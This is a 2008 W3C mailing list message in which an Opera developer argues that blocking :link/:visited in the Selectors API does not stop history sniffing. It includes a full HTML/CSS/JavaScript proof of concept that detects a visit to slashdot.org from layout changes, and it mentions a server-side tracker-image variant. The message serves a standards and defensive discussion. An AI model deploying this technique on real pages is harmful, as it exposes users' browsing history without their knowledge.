- From: Arve Bersvendsen <arveb@opera.com>
- Date: Wed, 16 Apr 2008 23:26:26 +0200
- To: "Travis Leithead" <travil@windows.microsoft.com>, "Lachlan Hunt" <lachlan.hunt@lachy.id.au>, public-webapi <public-webapi@w3.org>
On Wed, 16 Apr 2008 22:49:30 +0200, Travis Leithead
<travil@windows.microsoft.com> wrote:
> Yes, the selectors API will ignore any selector with a :link or :visited
> pseudo-class. We shipped that with the intention of providing a 360
> degree protection from the :link/:visited problem in our final release,
> but I believe that the rest of the plan has been cut.
I am curious as to what the benefit of this would be. A simple exploit
that routes around the entire problem roughly consists of this:
<html>
<head>
<style>
p,body,a { margin: 0; padding: 0 }
a:link { display: block; }
a:visited { display: none; }
</style>
<script>
onload = function(){
var ele = document.getElementById('adjacentElement')
if (0 == ele.offsetTop){
ele.innerText = "FAIL: Visit to slashdot.org detected"
}
}
</script>
</head>
<body>
<a href="http://slashdot.org">Visit this link</a><p
id="adjacentElement">PASS</p>
</body>
</html>
Note that I could replace the particular means of getting the reference to
the paragraph with any number of other means:
var ele = document.querySelector('p');
var ele = document.querySelector('a+p');
var ele = document.querySelector('#adjacentElement');
var ele = document.getElementsByTagName('a').nextSibling;
Which leaves you only the option of checking whether layout has been
affected and refuse to return anything whenever layout has been affected
by the :visited state of a link.
Also note that it is impossible to protect against Anne's suggested
exploit where you load a randomized and unique tracker image as background
or content for visited links, and do the data collection serverside
instead.
--
Arve Bersvendsen
Developer, Opera Software ASA, http://www.opera.com/
Received on Wednesday, 16 April 2008 21:27:07 UTC